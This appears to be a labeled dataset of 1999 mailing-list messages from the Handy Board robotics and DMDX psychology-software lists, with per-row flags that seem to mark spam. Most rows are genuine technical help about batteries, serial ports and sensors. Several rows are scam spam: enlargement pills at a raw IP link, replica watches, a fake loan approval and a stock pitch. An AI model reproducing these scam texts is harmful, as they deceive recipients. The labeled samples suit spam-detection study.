>enough current flows in trickle-charge to light the LED. > > > >but that's normal, so it doesn't sound like there is actually a > >problem. > > > >a simple way to test the batt is do a run-down test. just leave the > >board on and see how long the batt lasts. you should get approx 10 > >hours with the board sitting there doing nothing (just the Interactive > >C heart beating). > > > >fred > > > >In your message you said: > >> Well I bought an assembled board from Gleason Research and I've been using > th > >e > >> DC adapter that came with the board. The charging leds light up only when > the > >> Handyboard on? Is there something special I need to do to run the board on > >> batteries? Is there a way I can test the batteries? > >> > >> lugnet.robotics.handyboard, Fred G. Martin writes: > >> >do you have the recommended 12v, 500 ma DC adapter? > >> > > >> >if not, that explains it. > >> > > >> >if so, sometimes when the batt is fully charged, you don't get much in > >> >trickle charge mode and the light is off. but usually you should see > >> >the light being lit dimly. > >> > > >> >are you having problems with your battery holding a charge? > >> > > >> >fred > >> > > >> >In your message you said: > >> >> In the Handyboard manual it says when charging in trickle mode you should > >> tur > >> >n > >> >> the Handyboard off, however when I do try and turn the Handyboard off the > >> >> charge light on the serial/charger board goes off? Is the board still > bei > >ng > >> >> charged or is there a problem? > >> >> > >> >> The same problem occurs when I charge the Handyboard directly. If the > pow > >er > >> >> switch is turned on the charge light(LED) is on however when it's turn > off > >> th > >> >e > >> >> charge light goes off? What's the problem? > >> >> > >> >> When the batteries are charged should the board be able to run withought > a > >n > >> >> external power supply? > >> >> > >> >> Any information would be great!!! > >> >> > >> ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 23:36:40 +0000",Re: IRPD,"In lugnet.robotics.handyboard, Nick Taylor writes: >Both Marvin Green and Dennis Clark have IRPD kits (fairly cheap) that >IMO are much better than the Lynxmotion unit (I have all three). > > http://www.rdrop.com/~marvin/other/otherprj.htm > http://www.verinet.com/~dlc/projects/botproj.htm > >If you get either Marvin's or Dennis' IRPD kit, I can send you PIC >source code for either board that will greatly improve the noise >rejection. [snip] Hey Nick! Heck, I'd be interested in how you made the noise rejection even better! That is the part I spent the most time on! DLC ",0,1 Jason ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 21:10:29 -0500","Re: evaluate inverse cosine, sine in IC","--On Monday, November 15, 1999, 5:15 PM -0700 Will wrote: > bedirhan wrote: >> >> Hi, is there a way to evaluate inverse cosine and sine using IC? Thx > > The most efficient way to do it is to use Taylor Series approximations of > the functions. Decide how much precision you need, and then write > functions that evaluate the first few terms in the appropriate series. > > Usually, a series will converge quite rapidly, and only half a dozen or > so terms are needed. For example, if the sixth term in the series is on > the order of 1.0E-6, then you're getting close to the limit of > single-precision arithmetic anyway (and certainly close enough for horse > shoes, hand grenades, and tactical nuclear weapons). > to get a better approximation use: arcsin(x) = pi/2 - sqrt(1 - x)(a0 + a1*x + a2*x^2 + a3*x^3), where a0 = 1.5707288 a1 = -0.2121144 a2 = 0.0742610 a3 = -0.0187293",0,0 Petra ,'Terrie' ,"Wed, 17 Nov 1999 04:58:30 +0100",Increase Penis Size," Hi friend: We have quality product to help you Enjoy better sex life. All products offer 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... drowsyg7890hjfdefshhsdajks ",1,1 """Jose-Alfredo D. Esguerra"" ",handyboard@media.mit.edu,"Wed, 17 Nov 1999 09:10:08 -0500",Hacking the 3com Palm,"Hello, Does anyone know of a websites with some examples on hacking the Palm? Jose ",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ","trek@wwnet.com, handyboard@media.mit.edu","Wed, 17 Nov 1999 14:15:14 -0500",RE: Hacking the 3com Palm,"Hi, Try the 3com palm web site http://www.palm.com Register in the Palm Solution Provider program to access the source code and other utilities of Palm OS. Kalyan -----Original Message----- From: Jose-Alfredo D. Esguerra [mailto:trek@wwnet.com] Sent: Wednesday, November 17, 1999 9:10 AM To: handyboard@media.mit.edu Subject: Hacking the 3com Palm Hello, Does anyone know of a websites with some examples on hacking the Palm? Jose ",0,1 """Mulampaka, Kalyan (GEIS, ASI)"" ","""Handyboard (E-mail)"" ","Wed, 17 Nov 1999 17:06:47 -0500",LEGO sensor inputs - Basic question,"Hi, What does 'ACTIVE' mean in LEGO active sensor inputs on the Expansion board? Can I attach a LEGO light sensor ? Thanks Kalyan Kalyan Mulampaka Software Engineer e Information Services ___________________________ Ph#: (770) 698 4436 (O) (678) 320 0783 (R) ",0,0 Wayne Crosbie ,handyboard@media.mit.edu,"Wed, 17 Nov 1999 23:34:18 +0000",Compiling pcode for the handyboard,"I downloaded the pcode_pc environment for the PC and have been able to set up and compile it, but nothing I compile works when I download it. The included readme file did not give the compiler toggles for a standard Handyboard rev 1.2 What is meant by REV2, REV21, etc? What I really want to do is re-compile it to work with a 20x4 LCD I got from BGmicro. thanks for any help. Wayne wcrosbie@home.com ",0,0 Ozan Cakmakci ,Wayne Crosbie ,"Thu, 18 Nov 1999 10:54:51 +0100",Re: Compiling pcode for the handyboard," Had the some prob. We had to make sure the included header files, etc. had the correct path in the sources. > I downloaded the pcode_pc environment for the PC and have been able to set up > and compile it, but nothing I compile works when I download it. > > The included readme file did not give the compiler toggles for a standard > Handyboard rev 1.2 > > What is meant by REV2, REV21, etc? > > What I really want to do is re-compile it to work with a 20x4 LCD I got from > BGmicro. > > thanks for any help. ",0,0 Jewell Atkinson ,dmdx@psy1.psych.arizona.edu,"Thu, 18 Nov 1999 21:51:04 +0500",we ship worldwide,"REPLICASONLINE - WE NEVER COMPROMISE ON QUALITY Rolex replica is our speciality We guarantee lowest prices and highest quality We are the Direct manufacturers. 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And my work stucked there... can anybody help me with it, is there any way i can remove the lcd and put the HB into download mode if the problem is due to the bad LCD. Help me. I got the HB from gleasonresearch.com , do they entertain these sort of fixes if send HB to them. Please sujjest me.. Thank you guys, Rob __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 19 Nov 1999 02:42:23 +0000",Re: need help in trouble shooting hb bootstrap mode,"try doing the download with the LCD disconnected. use the pcode that doesn't need the LCD to work: http://el.www.media.mit.edu/projects/handy-board/software/contrib/kent/no_lcd/pc/pcode_hb.s19 if that works, you may have miswired or damaged the LCD. did it ever work after you made the modifications? fred In your message you said: > Hi guys, > > i have a problem with the HB boot strap mode. > symptoms.... > > I tried to connect the LCD and HB with a long > ribbon cable. And it worked fine , and i am trying to > put this in a box and switched on the power and tried > to load the pcode. But my HB is not going into the > download mode. and LCD is blank in the second line and > > first line is displaying dark squares when i swiched > on the hb. And my work stucked there... > > can anybody help me with it, is there any way > i can remove the lcd and put the HB into download mode > if the problem is due to the bad LCD. Help me. > > I got the HB from gleasonresearch.com , do > they > entertain these sort of fixes if send HB to them. > Please sujjest me.. > > > Thank you guys, > > Rob > ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 19 Nov 1999 21:33:30 +0000",[OT] speech recognition,"The December '99 issue of ""Popular Electronics"" has the first part of a two part article on the HM2007 speech recognition chip ... pretty cool if your robot can understand voice commands. - Nick - ",0,0 raj k ,handyboard@media.mit.edu,"Fri, 19 Nov 1999 14:53:28 -0800","HB bootstrap mode problem, LCD problem, please help","Hi guys, i have a problem with the HB boot strap mode. symptoms.... I tried to connect the LCD and HB with a long ribbon cable. And it worked fine , and i am trying to put this in a box and switched on the power and tried to load the pcode. But my HB is not going into the download mode. and LCD is blank in the second line and first line is displaying dark squares when i swiched on the hb. And my work stucked there... can anybody help me with it, is there any way i can remove the lcd and put the HB into download mode if the problem is due to the bad LCD. Help me. I got the HB from gleasonresearch.com , do they entertain these sort of fixes if send HB to them. Please sujjest me.. Thank you guys, Rob __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 19 Nov 1999 23:49:14 +0000","Re: HB bootstrap mode problem, LCD problem, please help","Dr. Martin responded to your earlier post a few hours ago. Have you tried what he suggested? raj k wrote: > > Hi guys, > > i have a problem with the HB boot strap mode. > symptoms.... > > I tried to connect the LCD and HB with a long > ribbon cable. And it worked fine , and i am trying to > put this in a box and switched on the power and tried > to load the pcode. But my HB is not going into the > download mode. and LCD is blank in the second line and > > first line is displaying dark squares when i swiched > on the hb. And my work stucked there... > > can anybody help me with it, is there any way > i can remove the lcd and put the HB into download mode > if the problem is due to the bad LCD. Help me. > > I got the HB from gleasonresearch.com , do > they > entertain these sort of fixes if send HB to them. > Please sujjest me.. > > Thank you guys, > > Rob ",0,0 Chuck McManis ,"William Young , drushel@apk.net","Fri, 19 Nov 1999 16:39:51 -0800",Re: Video Transmitters,"At 05:44 PM 11/14/99 -0500, William Young wrote: >NetMarket (www.netmarket.com) carries a transmit/receive pair made >by Recoton. It's intended to transmit audio/video around the house. >Ours includes a gizmo to extend your remote control capabilities, and >it cost about $120. Just the transmitter/receiver pair can be had for >under $100, I believe. And the X-10 color camera is going for $99 (actually its $88 today) and it also includes a xmit/recieve pair that I found runs nicely off batteries. The color camera is the cool bit since it is the ""lipstick"" type and light enough to put on an end effector. --Chuck See www.x-10.com for details. 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",1,1 glashan ,HandyBoard List ,"Sat, 20 Nov 1999 19:27:16 +0200",Nicad Problems,"Hi Ive been having problems with my batteries for my handyboard lately so I took them out to check them all. All the batteries checked out fine except for one, which had something very wrong with it - the terminals were reversed! So when I measured it with my multi-tester it read -1.27 volts. Is this because I may have inserted it incorrectly before, or is it something else? Any Suggestions? Thanks Ross ",0,0 marco berti ,handyboard@media.mit.edu,"Sat, 20 Nov 1999 21:15:03 +0000",Re: Nicad Problems,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (glashan) writes: >Hi > >Ive been having problems with my batteries for my handyboard lately so I >took them out to check them all. >All the batteries checked out fine except for one, which had something very >wrong with it - the terminals were reversed! So when I measured it with my >multi-tester it read -1.27 volts. >Is this because I may have inserted it incorrectly before, or is it >something else? Any Suggestions? > >Thanks >Ross Hi My name is Marco and I am not interested to handyboard, but I have a lot of experience with NiCd battery. Whitout more precise data and history of your NiCd cell pack, the highest probability to have a reversal in the polarity is due to a deep discharge (you should avoid to go below 0,8 V for each NiCd cells) Try to avoid a complete discharge of the battery pack; in some case a reversed polarity cell may be recovered using a charger with pulsed charge mode. Use a delta peak charger to obtain the maximum from your battery and avoid to overcharge as this may damage the cells. Another much simpler way is to use good quality NiCd battery, with Sanyo being the best by far (no I am in no way associated with Sanyo, but I have used a lot of battery) and within Sanyo the R (red colour) series are the one that are able to survive to major abuse. Bye for now Marco Berti ",0,0 CharGes ,DMDX@psy1.psych.arizona.edu,"Sat, 20 Nov 1999 14:00:40 -0300",Enviaram uma charge para voce,"ChaRgeS http://www.charges.com.br Olá, você recebeu uma charge animada! De: Milazinha (milazinhaaa@hotmail.com) Comentário: Se fosse comigo, eu morreria... rsrs Para ver a animação clique na imagem abaixo. Aguarde... Carregando animação... Message has been checked with system security No virus found in a message Todos os direitos reservados - Charges.com.br 1999 - 2006",1,1 Matleena Brighton ,handyboard@media.mit.edu,"Sat, 20 Nov 1999 15:22:07 -0700",Re: nugym news,"De y ar Home O k wne j r , Your cr b edi f t doesn't matter to us ! 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Tel Aviv tel: 03 5229643 ",0,0 lourdes Costa ,handyboard@media.mit.edu,"Sun, 21 Nov 1999 17:34:53 +0000",com1 port settings to download pcode.hb.s19,"Hi, I am here struggling to connect the handyboard with my computer. I am trying download pcode.hb.s19 In com1 port, but i am receiving a message that it can't open the port. I think that the settings of my com1 port is wrong. They are: Band rate = 9600 Data base = 8 Parity= none Stop bits =1 Base I/O port adress 3f8 Interrupted request line 15 X Fifo Enable. Or maybe the windows nt is not recognizing the hardware serial port but i don't know how can i do to make it recognized Please, if anyone knows what is going on with my port, please send me a tip, i will be grateful. The plataform is NT. Thanks, Lourdes Costa Parsons School of Design ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sun, 21 Nov 1999 17:56:03 +0000",Re: com1 port settings to download pcode.hb.s19,"did you try the Windows Serial Debug instructions, at http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html this will at least tell you if the serial port is working at all. if you don't see the ""Direct to COM1"" setting available in HyperTerminal, then Windows doesn't believe you have a serial port at all. this might be a problem in the System Registry or the CMOS configuration of the machine. fred In lugnet.robotics.handyboard, Lourdes Costa writes: >Hi, > >I am here struggling to connect the handyboard with my computer. I am trying >download pcode.hb.s19 >In com1 port, but i am receiving a message that it can't open the port. > >I think that the settings of my com1 port is wrong. They are: > >Band rate = 9600 >Data base = 8 >Parity= none >Stop bits =1 > >Base I/O port adress 3f8 >Interrupted request line 15 >X Fifo Enable. >Or maybe the windows nt is not recognizing the hardware serial port but i don't >know how can i do to make it recognized > >Please, if anyone knows what is going on with my port, please send me a tip, i >will be grateful. The plataform is NT. > >Thanks, > >Lourdes Costa >Parsons School of Design ",0,1 Peter ,Handy Board Mailing List ,"Sun, 21 Nov 1999 13:47:33 -0500",Re: com1 port settings to download pcode.hb.s19,"go to start->settings->control panel->ports and see if COM1 is available, if not then use the the com port that is listed there, if there is nothing there then there is something wrong. Also make sure any background apps aren't using the com port. -p ""Fred G. Martin"" wrote: > did you try the Windows Serial Debug instructions, at > > http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html > > this will at least tell you if the serial port is working at all. if you don't > see the ""Direct to COM1"" setting available in HyperTerminal, then Windows > doesn't believe you have a serial port at all. this might be a problem in the > System Registry or the CMOS configuration of the machine. > > fred > > In lugnet.robotics.handyboard, Lourdes Costa writes: > >Hi, > > > >I am here struggling to connect the handyboard with my computer. I am trying > >download pcode.hb.s19 > >In com1 port, but i am receiving a message that it can't open the port. > > > >I think that the settings of my com1 port is wrong. They are: > > > >Band rate = 9600 > >Data base = 8 > >Parity= none > >Stop bits =1 > > > >Base I/O port adress 3f8 > >Interrupted request line 15 > >X Fifo Enable. > >Or maybe the windows nt is not recognizing the hardware serial port but i don't > >know how can i do to make it recognized > > > >Please, if anyone knows what is going on with my port, please send me a tip, i > >will be grateful. The plataform is NT. > > > >Thanks, > > > >Lourdes Costa > >Parsons School of Design -- Peter Eacmen Intelligent Software Systems Boston Latin School eacmen@att.net ""A healthy mind is an oxymoron!"" ",0,1 Andreas Fuchs ,"lourdes Costa , handyboard@media.mit.edu","Sun, 21 Nov 1999 20:26:40 +0100",Re: com1 port settings to download pcode.hb.s19,"I think the IRQ is not ok. ----- Original Message ----- From: lourdes Costa To: Sent: Sunday, November 21, 1999 6:34 PM Subject: com1 port settings to download pcode.hb.s19 > Hi, > > I am here struggling to connect the handyboard with my computer. I am trying > download pcode.hb.s19 > In com1 port, but i am receiving a message that it can't open the port. > > I think that the settings of my com1 port is wrong. They are: > > Band rate = 9600 > Data base = 8 > Parity= none > Stop bits =1 > > Base I/O port adress 3f8 > Interrupted request line 15 > X Fifo Enable. > Or maybe the windows nt is not recognizing the hardware serial port but i don't > know how can i do to make it recognized > > Please, if anyone knows what is going on with my port, please send me a tip, i > will be grateful. The plataform is NT. > > Thanks, > > Lourdes Costa > Parsons School of Design >",0,0 Susanna Lau ,DMDX@psy1.psych.arizona.edu,"Mon, 22 Nov 1999 21:50:47 +1100",[DMDX],"thanks jonathan for your last reply re:multiple Rs - i got that work perfectly ;) thanks ;) Now, i had uncovered another two problem in my expt, hope you can advise me what to do. first problem-scrambling problem in my expt (please see attached the syntax file), there are a total of 240 items, of which 24 are practice items and 216 (9blocks of 24 trials) are test items. i divided up the items into 9 blocks arranging in the order that i want (i don't want the blocks to be scramble), but i want to have the 24 items within the block to be scrambled. To complicate this scenario a little, with the practice trial, items are spread across the whole experiment, but i have one block of 6 items (in fixed order, no need to scramble here) in the beginning of the expt and then before each block, i had two practice trials (they are in fixed order, no need to scramble). with the syntax that i have there, i had trials all over the place and some of the practice trials (those before each block) & its instructions get all jammed at the end.. and the block order get randomised . to summarise what i said - the order i wish to have should look like this instructions then followed by one block of 6 practice trials (fixed order) TEST PHASE: Block 1: 2 practice trial (fixed order) item 1-24 (need to be scrambled) Block 2: 2 practice trial (fixed order) item 24-48 (need to be scrambled) Block 3: 2 practice trial (fixed order) item 48-72 (need to be scrambled) Block 4: 2 practice trial (fixed order) item 72-96 (need to be scrambled) ... to Block 9 2 practice trial (fixed order) item 192-216 (need to be scrambled) . basically i want the items within the block to be scrambled but not with the block itself. In addition to this scrambling problem. i had also come across another weird problem.. in my expt, the items are run in a way that the subject has to make a response in order to proceed to the next item. BUT, its funny that, if the subject did not make a response or miss the first item, the expt will continue on and proceed to the next item no matter the subject did or did not make response in the rest of the expt (but i did not have in the parameter line). But, this would not happen if the subject had made a respone in the first item. can you please advise me on this. can you see which command is triggering this problem?!! i'm really desperate for HELP ..HELP!!!!!!!! susanna.",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 22 Nov 1999 14:14:54 +0000",[DMDX] Output,"Hi. I would like to find out more about outputting a signal from DMDX to trigger another device. Hardware is not my strong point so if this is a bit garbled I'm sorry. In the TimeDX help files it says > Assuming you have some test hardware and can monitor the output of PORT C clicking on the output controls changes the state of that output bit, checked being LOW. > With the keyword Output does the N refer to the pin in Port C that the signal is sent to? Does send a signal to pc1, i.e. pin 28? Is it a 5 volt pulse? We need to trigger an external computer to play sound, as part of out fMRI set up. How would I use this in a script? 0 ""Start of experiment""; Thanks - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 22 Nov 1999 08:43:14 -0700",[DMDX] Re: ,"At 09:50 PM 11/22/99 +1100, you wrote: >. basically i want the items within the block to be scrambled but not with > the >block itself. Look at the docs on the scramble emit code, the backslash. >>>>i had also come across another weird problem.. in my expt, the items are run in a way that the subject has to make a response in order to proceed to the next item. BUT, its funny that, if the subject did not make a response or miss the first item, the expt will continue on and proceed to the next item no matter the subject did or did not make response in the rest of the expt (but i did not have in the parameter line). But, this would not happen if the subject had made a respone in the first item. <<<< Please turn of HTML in your posts, it causes certain mail clients (mine for instance) no end of trouble. My guess is that the code may be getting tied up because you are using a regular clockon indicator in a digital video frame. You may want to try a test item file that doesn't play the digital video but simply displays a target and see if the response system works as expected there, otherwise could try using the digital video clockon inidicator. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A well adjusted person is one who makes the same mistake twice without getting nervous.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 22 Nov 1999 08:47:53 -0700",[DMDX] Re: Output,"At 02:14 PM 11/22/99 +0000, you wrote: >With the keyword Output does the N refer to the pin in Port C that the >signal is sent to? Does send a signal to pc1, i.e. pin 28? It's the byte that's sent to all 8 of the pins in port C, for example: N Port C 0 00000000 1 00000001 2 00000010 3 00000011 8 00001000 32 00100000 255 11111111 > Is >it a 5 volt pulse? It's a 5 volt signal, it stays in that state till the job finishes or another is issued. >We need to trigger an external computer to play sound, as part of out fMRI >set up. How would I use this in a script? > >0 ""Start of experiment""; Yep. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A well adjusted person is one who makes the same mistake twice without getting nervous.",0,0 Calvin Blackmon ,DMDX@psy1.psych.arizona.edu,"Mon, 22 Nov 1999 03:56:16 -0600",RE: Yours loan is approved om6bb,"Dear Homeowner, DMDX@psy1.psych.arizona.edu http://lowlow1refinance.com/goodstep You have been approved for a $ 865,956 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html DMDX@psy1.psych.arizona.edu wrote: > RERE:We approved yours loan wcgtiw2rv7 ",1,1 """Mulampaka, Kalyan (GEIS, ASI)"" ","""Handyboard (E-mail)"" ","Mon, 22 Nov 1999 10:28:45 -0500",HandyBoard not responding,"Hi, I left the HandyBoard without power for 2 weeks ,and now I am not able to download anything to it. When I try using HBDL.exe to download pcode_hb.s19 I get the errror ""Wrong port or Board mode."". I am using the 12VDC adapter connected directly to the HandyBoard. If I try to download the Java VM (Simple RTJ) I get ""Unable to open COM1"". I tested the charger board, serial line and the RJ11 cable using the ""Windows Serial Debug test"" and they are working fine. Please help. Thanks in advance Kalyan Kalyan Mulampaka Software Engineer e Information Services ___________________________ Ph#: (770) 698 4436 (O) (678) 320 0783 (R) ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 22 Nov 1999 16:16:10 +0000",Re: HandyBoard not responding,"it sounds like it's a problem with your downloader configurations -- neither of them can open the COM port. were you able to connect ""Direct to COM1"" with HyperTerminal when doing the Windows Serial Debug? it's odd that that would work and then the downloaders couldn't open your com ports. fred In your message you said: > Hi, > I left the HandyBoard without power for 2 weeks ,and now I am not able to > download anything to it. > When I try using HBDL.exe to download pcode_hb.s19 I get the errror ""Wrong > port or Board mode."". > I am using the 12VDC adapter connected directly to the HandyBoard. > If I try to download the Java VM (Simple RTJ) I get ""Unable to open COM1"". > I tested the charger board, serial line and the RJ11 cable using the > ""Windows Serial Debug test"" and they are working fine. > > Please help. > Thanks in advance > Kalyan > > Kalyan Mulampaka > Software Engineer > e Information Services > ___________________________ > Ph#: (770) 698 4436 (O) > (678) 320 0783 (R) > ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 22 Nov 1999 16:36:07 +0000",Re: HandyBoard not responding,"Kalyan, During the two weeks that you didn't use your HB did you install any software that uses _any_ serial port? When I installed Windows CE Services it interfered with serial I/O. To talk to other serial devices on com1 it's necessary to disable and then enable the com port. - Nick - ""Fred G. Martin"" wrote: > > it sounds like it's a problem with your downloader configurations -- > neither of them can open the COM port. > > were you able to connect ""Direct to COM1"" with HyperTerminal when > doing the Windows Serial Debug? it's odd that that would work and > then the downloaders couldn't open your com ports. > > fred > > In your message you said: > > Hi, > > I left the HandyBoard without power for 2 weeks ,and now I am not able to > > download anything to it. > > When I try using HBDL.exe to download pcode_hb.s19 I get the errror ""Wrong > > port or Board mode."". > > I am using the 12VDC adapter connected directly to the HandyBoard. > > If I try to download the Java VM (Simple RTJ) I get ""Unable to open COM1"". > > I tested the charger board, serial line and the RJ11 cable using the > > ""Windows Serial Debug test"" and they are working fine. > > > > Please help. > > Thanks in advance > > Kalyan > > > > Kalyan Mulampaka > > Software Engineer > > e Information Services > > ___________________________ > > Ph#: (770) 698 4436 (O) > > (678) 320 0783 (R) > > ",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ",handyboard@media.mit.edu,"Mon, 22 Nov 1999 14:31:59 -0500",RE: HandyBoard not responding,"Yes ,last week I installed other software which used com port , but I unstalled that software later. I will try disabling and then enabling the com port. Thanks Kalyan -----Original Message----- From: Nick Taylor [mailto:ntaylor@iname.com] Sent: Monday, November 22, 1999 11:36 AM To: handyboard@media.mit.edu Subject: Re: HandyBoard not responding Kalyan, During the two weeks that you didn't use your HB did you install any software that uses _any_ serial port? When I installed Windows CE Services it interfered with serial I/O. To talk to other serial devices on com1 it's necessary to disable and then enable the com port. - Nick - ""Fred G. Martin"" wrote: > > it sounds like it's a problem with your downloader configurations -- > neither of them can open the COM port. > > were you able to connect ""Direct to COM1"" with HyperTerminal when > doing the Windows Serial Debug? it's odd that that would work and > then the downloaders couldn't open your com ports. > > fred > > In your message you said: > > Hi, > > I left the HandyBoard without power for 2 weeks ,and now I am not able to > > download anything to it. > > When I try using HBDL.exe to download pcode_hb.s19 I get the errror ""Wrong > > port or Board mode."". > > I am using the 12VDC adapter connected directly to the HandyBoard. > > If I try to download the Java VM (Simple RTJ) I get ""Unable to open COM1"". > > I tested the charger board, serial line and the RJ11 cable using the > > ""Windows Serial Debug test"" and they are working fine. > > > > Please help. > > Thanks in advance > > Kalyan > > > > Kalyan Mulampaka > > Software Engineer > > e Information Services > > ___________________________ > > Ph#: (770) 698 4436 (O) > > (678) 320 0783 (R) > > ",0,0 Mark Tarrabain ,handyboard@media.mit.edu,"Mon, 22 Nov 1999 22:20:22 +0000",Just a couple of quick questions...,"1) Is there a lego-ish plastic enclosure available for the handyboard (preferable expansion board capable)? 2) Is there a Li-Ion battery alternative to the NiCad batteries? Thanks >> Mark ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 22 Nov 1999 23:19:41 +0000",Re: Just a couple of quick questions...,"Mark, The answer to both is YES. Remove the four screws from the corners of the HB and remove the board and batteries from the plastic box. Cut the battery wires and add a polarized two wire connector. Then you are able to substitute any desired alternate battery source (with lead length as required for your installation). You can even use a LEGO 9V battery box. Get out your LEGOs and the bare HB. Use a flat plate and your choice of blocks and try different configurations ... use an epoxy (such as JB Weld) to make your custom enclosure permanent. Good luck and have fun, - Nick - Mark Tarrabain wrote: > > 1) Is there a lego-ish plastic enclosure available for the handyboard > (preferable expansion board capable)? > 2) Is there a Li-Ion battery alternative to the NiCad batteries? > > Thanks > >> Mark ",0,0 Greg Starr ,handyboard@media.mit.edu,"Thu, 18 Nov 1999 13:21:38 -0700",Flame sensors?,"I would like to do a fire-fighting competition next semester in our LEGO class (like Trinity college, though much smaller scale). What kind of sensors are useful with the Handy Board for detecting flames? Thanks. --greg ***************************************************************** * Greg Starr, Professor * * Department of Mechanical Engineering ph (505) 272-7156 * * University of New Mexico, Albuquerque NM 87131 FAX 277-7152 * * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * ***************************************************************** ",0,1 Greg Starr ,handyboard@media.mit.edu,"Mon, 22 Nov 1999 15:44:38 -0700",Sensor to detect flame?,"I am considering doing a LEGO competition for next semester in which the robots have to find and extinguish a flame (candle, for ex.) Like the Trinity College contest, I guess. What sensors can be used to detect a flame? I always like to try to get one working before I assign it to the students. Thanks. --greg ***************************************************************** * Greg Starr, Professor * * Department of Mechanical Engineering ph (505) 277-6298 * * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * ***************************************************************** ",0,1 Peter ,Greg Starr ,"Mon, 22 Nov 1999 21:46:55 -0500",Re: Flame sensors?,"supposedly UV sensors are capable of detecting flames well. But I simply take the Sharp infrared reflective sensors and just use the detector. -p Greg Starr wrote: > I would like to do a fire-fighting competition next semester in our LEGO > class (like Trinity college, though much smaller scale). What kind of > sensors are useful with the Handy Board for detecting flames? > > Thanks. > > --greg > > ***************************************************************** > * Greg Starr, Professor * > * Department of Mechanical Engineering ph (505) 272-7156 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-7152 * > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > ***************************************************************** ",0,1 qzqpgnho duwbzbdft ,"handyboard@media.mit.edu, randall@media.mit.edu","Tue, 23 Nov 1999 06:42:36 +0700",specs for this week [NEWS NEW PICK friday it is] gathers custard galenite,"Infinex Ventures Inc. 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Then you are > able to substitute any desired alternate battery source (with lead > length as required for your installation). You can even use a LEGO 9V > battery box. Get out your LEGOs and the bare HB. Use a flat plate > and your choice of blocks and try different configurations ... use > an epoxy (such as JB Weld) to make your custom enclosure permanent. > > Good luck and have fun, > - Nick - Thanks Nick. Although I guess I was hoping for a more prepackaged solution... especially with regards to the LEGO plastic enclosure. Has anybody ever thought of actually making them as a commercial product? I certainly can't be the only person who wants something a little more like the programmable brick (which is not, afaik, available as a commercial product at all), and thought that the Mindstorms RCX unit was too inflexible. >> Mark ",0,0 lourdes Costa ,handyboard@media.mit.edu,"Tue, 23 Nov 1999 15:42:38 +0000",Re: com1 port settings to download pcode.hb.s19,"I did the test in the hyperTerminal and i couldn't get the com1 port. Do you know how can i enable this port in windows nt? In lugnet.robotics.handyboard, Fred G. Martin writes: >did you try the Windows Serial Debug instructions, at > > http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html > >this will at least tell you if the serial port is working at all. if you don't >see the ""Direct to COM1"" setting available in HyperTerminal, then Windows >doesn't believe you have a serial port at all. this might be a problem in the >System Registry or the CMOS configuration of the machine. > >fred > > >In lugnet.robotics.handyboard, Lourdes Costa writes: >>Hi, >> >>I am here struggling to connect the handyboard with my computer. I am trying >>download pcode.hb.s19 >>In com1 port, but i am receiving a message that it can't open the port. >> >>I think that the settings of my com1 port is wrong. They are: >> >>Band rate = 9600 >>Data base = 8 >>Parity= none >>Stop bits =1 >> >>Base I/O port adress 3f8 >>Interrupted request line 15 >>X Fifo Enable. >>Or maybe the windows nt is not recognizing the hardware serial port but i don't >>know how can i do to make it recognized >> >>Please, if anyone knows what is going on with my port, please send me a tip, i >>will be grateful. The plataform is NT. >> >>Thanks, >> >>Lourdes Costa >>Parsons School of Design ",0,1 John Bachman ,handyboard@media.mit.edu,"Tue, 23 Nov 1999 11:05:56 -0500",Larger Display,"Hi, I need a display larger than one on the HB so it can be legible for a crowd 25 - 30 feet away. Ideally I could plug it into HB in place of the existing LCD but I can adapt if necessary. Any suggestions? TIA John ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 23 Nov 1999 09:23:28 -0700",Re: Flame sensors?,"Acroname has a pyroelectric sensor that is specifically designed to sense heat sources: http://www.acroname.com/robotics/parts/R3-PYRO1.html -- Will +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | 